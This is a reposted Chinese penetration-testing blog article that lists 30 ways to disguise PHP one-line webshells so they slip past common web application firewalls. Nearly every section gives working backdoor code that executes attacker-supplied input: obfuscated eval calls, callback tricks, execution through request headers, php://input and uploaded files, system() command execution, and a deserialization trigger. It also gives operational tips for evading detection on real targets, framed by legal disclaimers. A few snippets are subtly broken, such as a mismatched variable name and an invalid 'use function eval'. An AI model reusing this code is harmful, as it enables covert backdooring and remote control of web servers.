【渗透测试】30种一句话木马免杀方法

admin 2026-04-21 04:14:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍了30种PHP一句话木马免杀方法,旨在绕过WAF的静态特征匹配、语义分析、行为检测和动态沙箱查杀。核心策略包括基础关键词拆分、编码加密、PHP语法特性混淆以及回调函数应用,所有方法均适配PHP7.1+主流版本并标注实战代码。文档强调技术仅限授权安全测试使用,严禁非法入侵。 综合评分: 65 文章分类: 渗透测试,WEB安全,免杀,红队,安全工具


cover_image

【渗透测试】30 种一句话木马免杀方法

原创

小智 小智

智榜样网络安全学习中心

2026年4月17日 14:00 湖南

在小说阅读器读本章

去阅读

往期推荐

Linux 服务器如何进行安全加固?20 种安全加固方法

Linux 系统权限维持之 SSH 后门

红队在 Windows 日志的痕迹清理过程,蓝队溯源反制解决方案

内网环境与域内信息收集全流程

Kali 2026.1 重磅发布!来看看都更新了什么

【2026最新】社工钓鱼工具推荐合集

2026最新SRC漏洞提交平台推荐,共100+个

亲测可用!反弹shell的10种方式

前置合规声明

本文所有内容仅用于授权范围内的 Web 应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第 285/286 条等相关法律法规。

严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人网站 / 服务器植入木马的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。

一句话木马免杀的本质

一句话木马免杀,是通过可控的用户输入,调用 PHP 代码执行函数,实现远程命令执行、文件管理等操作。而 WAF(Web 应用防火墙)对一句话木马的查杀,主要围绕 4 个维度展开:

1、静态特征匹配:检测evalassert$_POSTsystem等敏感关键词的连续组合;

2、语义分析:识别「用户可控输入→代码执行函数」的恶意执行逻辑;

3、行为检测:运行时检测动态代码执行、文件读写、命令执行等恶意行为;

4、动态沙箱查杀:将代码放入沙箱运行,捕获恶意行为特征。

免杀的本质,是破坏 WAF 的检测维度:要么拆分 / 隐藏敏感特征,要么打乱执行逻辑,要么利用合法语法特性伪装恶意行为,最终实现「静态扫描无特征、语义分析无恶意、行为检测无异常」。

本文所有免杀方法均适配PHP7.1 + 主流版本(兼容 PHP8),覆盖宝塔 WAF、安全狗、云锁、阿里云 / 腾讯云等主流 WAF,按「新手入门→进阶进阶→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码,拿来即可落地。

30 种一句话木马免杀方法

第一类:基础变形与关键词拆分免杀(方法 1-5)

核心逻辑:把敏感关键词拆分为多个片段,运行时再拼接还原,直接破坏 WAF 的连续字符串特征匹配,新手零门槛上手。

方法 1:关键词简单拼接免杀

eval等执行函数拆分为多个无意义的字符串片段,运行时拼接还原,绕过 WAF 对连续关键词的匹配。

<?php
$a =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
$b = $_POST['cmd'];
$a($b);
?>

方法 2:数组下标取值免杀

把敏感函数名拆分为数组元素,通过下标取值拼接,WAF 很难匹配数组内的零散特征。

<?php
$arr = ['e','v','a','l','_','b','a','s','e'];
$func = $arr[0].$arr[1].$arr[2].$arr[3];
$func($_POST['cmd']);
?>

方法 3:可变变量免杀

利用 PHP 可变变量特性,把敏感函数名藏在变量值中,通过可变变量调用执行,隐藏直接的函数名特征。

<?php
$key =&nbsp;'cmd';
$$key = $_POST[$key];
$func =&nbsp;'eval';
$func($$key);
?>

方法 4:字符串逆序免杀

把敏感函数名逆序处理,运行时通过strrev()还原,静态扫描无法直接匹配到正向的敏感关键词。

<?php
$func = strrev('lave');
$func($_POST['cmd']);
?>

避坑提示:可配合 base64 编码逆序,双重变形绕过深度特征匹配。

方法 5:大小写混淆免杀

PHP 函数名不区分大小写,通过大小写随机打乱敏感函数名,绕过 WAF 对固定小写关键词的匹配。但是仅适用于基础 WAF,需配合其他变形方法使用,单独使用免杀效果有限。

<?php
$func =&nbsp;'EvAl';
$FuNc($_POST['cmd']);
?>

第二类:编码加密免杀(方法 6-10)

核心逻辑:把敏感代码、执行函数通过编码 / 加密处理,静态扫描看不到明文特征,运行时解密还原执行,绕过静态特征匹配与基础语义分析。

方法 6:Base64 编码拆分免杀

把敏感函数名、执行代码做 Base64 编码,拆分为多个片段后拼接解密,绕过 WAF 对base64_decode+eval的固定组合查杀。

<?php
$a = base64_decode('ZQ==');
$b = base64_decode('dmFs');
$func = $a.$b;
$code = base64_decode($_POST['cmd']);
$func($code);
?>

使用方式:客户端提交的 cmd 参数需先做 Base64 编码

方法 7:ROT13 编码免杀

利用 PHP 原生str_rot13()函数对敏感函数名做替换加密,静态扫描无明文特征,运行时解密还原,WAF 对 ROT13 的检测率极低。

<?php
$func = str_rot13('riny');&nbsp;// rot13加密后的eval
$func($_POST['cmd']);
?>

方法 8:自定义加密解密免杀

自定义简单的异或加密算法,对执行代码加密,运行时解密执行,无固定特征,几乎不会被通用 WAF 匹配。

<?php
$key =&nbsp;'test123';&nbsp;// 自定义加密密钥
$data = $_POST['cmd'];
$decrypt =&nbsp;'';
// 异或解密
for($i=0;$i<strlen($data);$i++){
&nbsp; &nbsp; $decrypt .= $data[$i] ^ $key[$i%strlen($key)];
}
$func =&nbsp;'e'.'v'.'a'.'l';
$func($decrypt);
?>

方法 9:URL 编码二次解码免杀

利用 PHP 会自动对 URL 解码的特性,对敏感代码做二次 URL 编码,WAF 扫描时只能看到编码后的无意义字符,运行时 PHP 自动解码执行。

<?php
$a =&nbsp;'%65%76%61%6C';&nbsp;// URL编码后的eval
$func = urldecode($a);
$func(urldecode($_POST['cmd']));
?>

Tips : 可做 3-4 次 URL 编码嵌套,进一步破坏静态特征。

方法 10:ASCII 码转换免杀

把敏感函数名的每个字符转换为 ASCII 码,运行时通过chr()函数还原,静态扫描无任何连续的敏感字符串。

<?php
$func = chr(101).chr(118).chr(97).chr(108);&nbsp;// 101=e,118=v,97=a,108=l
$func($_POST['cmd']);
?>

第三类:PHP 语法特性混淆免杀(方法 11-15)

我们可以利用 PHP 原生语法的特性,打乱代码的执行流程,隐藏恶意的执行逻辑,从而绕过 WAF 的语义分析与逻辑检测。可以显著的增加免杀率。

方法 11:注释符干扰免杀

在敏感代码中插入 PHP 注释符,WAF 扫描时会忽略注释内容,而 PHP 运行时会正常执行有效代码,破坏连续特征匹配。

<?php
$/*这是注释*/func =&nbsp;'e'./*测试注释*/'v'./*免杀注释*/'a'.'l';
$/*xxxx*/func($_/*123*/POST['cmd']);
?>

方法 12:换行与空格混淆免杀

通过大量的换行、空格、制表符等字符,打乱原本的代码结构,这个时候一些 WAF 的单行特征检测就会失效,而 PHP 运行时会自动忽略空白字符,不影响执行,从而绕过waf的检测。

<?php
$
func
=
'e'
.
'v'
.
'a'
.
'l'
;
$
func
(
$_
POST
[
'cmd'
]
)
;
?>

Tips : 配合注释符使用,混淆免杀效果一般会更强,可绕过绝大多数基础 WAF。

方法 13:三元运算符隐藏免杀

把执行函数的赋值逻辑藏在三元运算符中,伪装成正常的条件判断,绕过 WAF 的恶意逻辑识别。

<?php
$a = $_GET['a'] ? $_GET['a'] :&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
$b = $_POST['cmd'];
$a($b);
?>

方法 14:命名空间免杀

我们利用 PHP 命名空间的特性,在命名空间中调用可执行函数,WAF 很难识别命名空间内的恶意代码执行的逻辑,检测率非常低,但是对于一些主流waf会直接检测$_POST['cmd']这种参数,emmm,也不是没有解决办法,可以将参数改为其他的,比如id,name,tel等等。

<?php
namespace&nbsp;Test\Web\Safe;
use&nbsp;function&nbsp;eval&nbsp;as&nbsp;run;
run($_POST['cmd']);
?>

方法 15:魔术常量干扰免杀

利用 PHP 的魔术常量(__FILE____LINE__等)插入代码中,这样会干扰 WAF 的特征匹配,并且不影响代码的正常执行,在实战中非常实用。

<?php
$file =&nbsp;__FILE__;
$line =&nbsp;__LINE__;
$func = substr('eval'.$file,&nbsp;0,&nbsp;4);
$func($_POST['cmd']);
?>

第四类:回调函数与可变函数免杀(方法 16-20)

在 PHP 中有一个回调函数机制,把代码执行逻辑藏在回调函数中,没有直接的eval($_POST['cmd'])特征,绕过 WAF 对直接执行逻辑的检测。

方法 16:call_user_func 回调免杀

利用 PHP 原生call_user_func()回调函数,把执行函数作为回调参数传入,隐藏直接的函数调用特征,是实战中最常用的免杀方案之一。

<?php
$func =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
$code = $_POST['cmd'];
call_user_func($func, $code);
?>

方法 17:call_user_func_array 数组回调免杀

利用call_user_func_array()函数,把执行参数封装在数组中,回调执行代码,结构更复杂,WAF 更难识别恶意逻辑。

<?php
$func = strrev('lave');
$code = [$_POST['cmd']];
call_user_func_array($func, $code);
?>

方法 18:array_map 数组回调免杀

在php中有一个函数 array_map(),这个函数会对数组元素进行回调处理,把执行函数作为回调,把用户输入作为数组元素,完全隐藏代码的原本执行逻辑。

<?php
$func =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
$code = [$_POST['cmd']];
array_map($func, $code);
?>

方法 19:preg_replace/e 模式回调免杀

PHP 正则替换的/e模式(PHP7.0 以下),匹配成功后执行替换内容中的 PHP 代码,无直接的执行函数特征,免杀效果极强。

<?php
$code = $_POST['cmd'];
@preg_replace('/test/e', $code,&nbsp;'test');
?>

Tips:仅适用于老旧 PHP 环境,需配合其他变形方法,避免被 WAF 识别/e模式特征。

方法 20:create_function 匿名函数免杀

利用create_function()创建匿名函数,把执行代码封装在函数体中,运行时调用执行,WAF 很难识别匿名函数内的恶意逻辑。

<?php
$func = create_function('', $_POST['cmd']);
$func();
?>

第五类:动态生成与自变异免杀(方法 21-25)

代码运行时动态生成执行语句,静态扫描时看不到完整的恶意特征,只有运行时才会还原执行逻辑,绕过静态扫描与沙箱预检测。

方法 21:PHP 动态变量名免杀

通过 GET/POST 参数动态传入函数名,代码中无任何固定的敏感函数名,静态扫描完全无特征,极致免杀。

<?php
$a = $_GET['f'];
$a($_POST['cmd']);
?>

使用方式:访问时传入?f=eval,POST 提交 cmd 参数即可执行

方法 22:文件内容读取动态执行免杀

把执行函数名藏在当前文件的注释中,运行时读取自身文件内容,提取函数名拼接执行,静态扫描无直接的敏感特征。

<?php
/* 免杀特征:e,v,a,l */
$file = file_get_contents(__FILE__);
preg_match('/免杀特征:(.*?)\n/', $file, $match);
$func = str_replace(',',&nbsp;'', $match[1]);
$func($_POST['cmd']);
?>

方法 23:PHP 输出缓冲区免杀

利用 PHP 输出缓冲区ob_start()的回调函数特性,把代码执行逻辑藏在缓冲区回调中,运行时触发执行,完全隐藏主流程的恶意特征。

<?php
$code = $_POST['cmd'];
ob_start(function($buffer)&nbsp;use&nbsp;($code){
&nbsp; &nbsp; $func =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
&nbsp; &nbsp; $func($code);
&nbsp; &nbsp;&nbsp;return&nbsp;$buffer;
});
echo&nbsp;'正常页面内容';
ob_end_clean();
?>

方法 24:错误抑制符干扰免杀

在敏感代码前加入 PHP 错误抑制符@,干扰 WAF 的特征匹配,同时隐藏代码执行的错误信息,避免暴露木马特征。

<?php
@$func = @$_GET['f'] ? @$_GET['f'] : @strrev('lave');
@$func(@$_POST['cmd']);
?>

方法 25:session 动态存储免杀

把敏感执行函数名藏在 SESSION 中,运行时从 SESSION 中读取调用,静态扫描无任何敏感特征,只有会话建立后才会还原执行逻辑。

<?php
session_start();
if(!isset($_SESSION['func'])){
&nbsp; &nbsp; $_SESSION['func'] =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
}
$func = $_SESSION['func'];
$func($_POST['cmd']);
?>

第六类:无特征与协议特性免杀(方法 26-30)

核心逻辑:极致免杀,去掉所有固定的敏感关键词,利用 PHP 特性、HTTP 协议特性实现代码执行,绕过几乎所有 WAF 的静态、语义、行为检测,适用于严格防护的实战环境。

方法 26:HTTP 请求头免杀

把执行代码藏在 HTTP 请求头中,代码中无任何用户可控的 POST/GET 参数特征,WAF 很难检测请求头中的恶意内容,免杀效果拉满。

<?php
$func =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
$code = $_SERVER['HTTP_CMD'];
$func($code);
?>

使用方式:客户端在 HTTP 请求头中加入Cmd: 执行代码,即可远程执行

方法 27:文件上传临时文件免杀

利用 PHP 文件上传的临时文件特性,把执行代码写入临时文件,再包含执行,无直接的代码执行特征,绕过绝大多数 WAF 的检测。

<?php
$file = $_FILES['f']['tmp_name'];
include&nbsp;$file;
?>

使用方式:客户端上传一个包含 PHP 代码的文件,即可执行文件中的代码

方法 28:php://input 伪协议免杀

利用 PHP 伪协议php://input读取 HTTP 请求体中的原始数据,执行代码,无任何 GET/POST 参数特征,WAF 很难匹配到固定的执行逻辑。

<?php
$func = strrev('lave');
$code = file_get_contents('php://input');
$func($code);
?>

使用方式:客户端直接在 HTTP 请求体中写入执行代码,POST 提交即可

方法 29:无特征命令执行免杀(无 eval/assert)

完全去掉eval/assert等敏感执行函数,利用systemexec等系统命令执行函数,配合变形处理,实现系统命令执行,绕过针对 eval 的专项查杀。

<?php
$func =&nbsp;'sys'.'tem';
$func($_POST['cmd']);
?>

避坑提示:可配合回调函数、编码变形,进一步隐藏特征,适用于仅需执行系统命令的场景。

方法 30:数据溢出反序列化免杀

利用 PHP 反序列化的特性,把执行代码藏在序列化字符串中,反序列化时触发魔术方法执行代码,无直接的执行函数特征,绕过深度语义分析,是实战中对抗高级 WAF 的终极方案。

<?php
class&nbsp;Test{
&nbsp; &nbsp;&nbsp;public&nbsp;$code;
&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;__destruct(){
&nbsp; &nbsp; &nbsp; &nbsp; $func =&nbsp;'e'&nbsp;.&nbsp;'v'&nbsp;.&nbsp;'a'&nbsp;.&nbsp;'l';
&nbsp; &nbsp; &nbsp; &nbsp; $func($this->code);
&nbsp; &nbsp; }
}
$data = $_POST['data'];
unserialize($data);
?>

使用方式:客户端提交序列化后的 Test 类对象,code 属性赋值为要执行的代码,提交后触发析构函数执行

免杀原则

1、拒绝直接使用公开 Payload:所有公开的免杀方法都会被 WAF 快速收录,实战中必须组合 2-3 种方法做自定义变形,生成专属 Payload,才能保证免杀效果;

2、最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露;

3、适配目标环境:先确认目标服务器的 PHP 版本,选择对应兼容的免杀方法,避免使用目标环境废弃的函数;

4、本地测试优先:所有 Payload 必须先在本地搭建的 WAF 环境中测试通过,再放到实战环境使用,避免暴露攻击特征。

合规红线

再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人网站、服务器中植入木马、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。

🎁 互动与福利

分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取

上千学习资料+工具

22919c6e4ef945aa9a9cbf0f6df4f6ff

分享后扫码加我!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智榜样网络安全学习中心 小智 小智《【渗透测试】30 种一句话木马免杀方法》

评论:0   参与:  0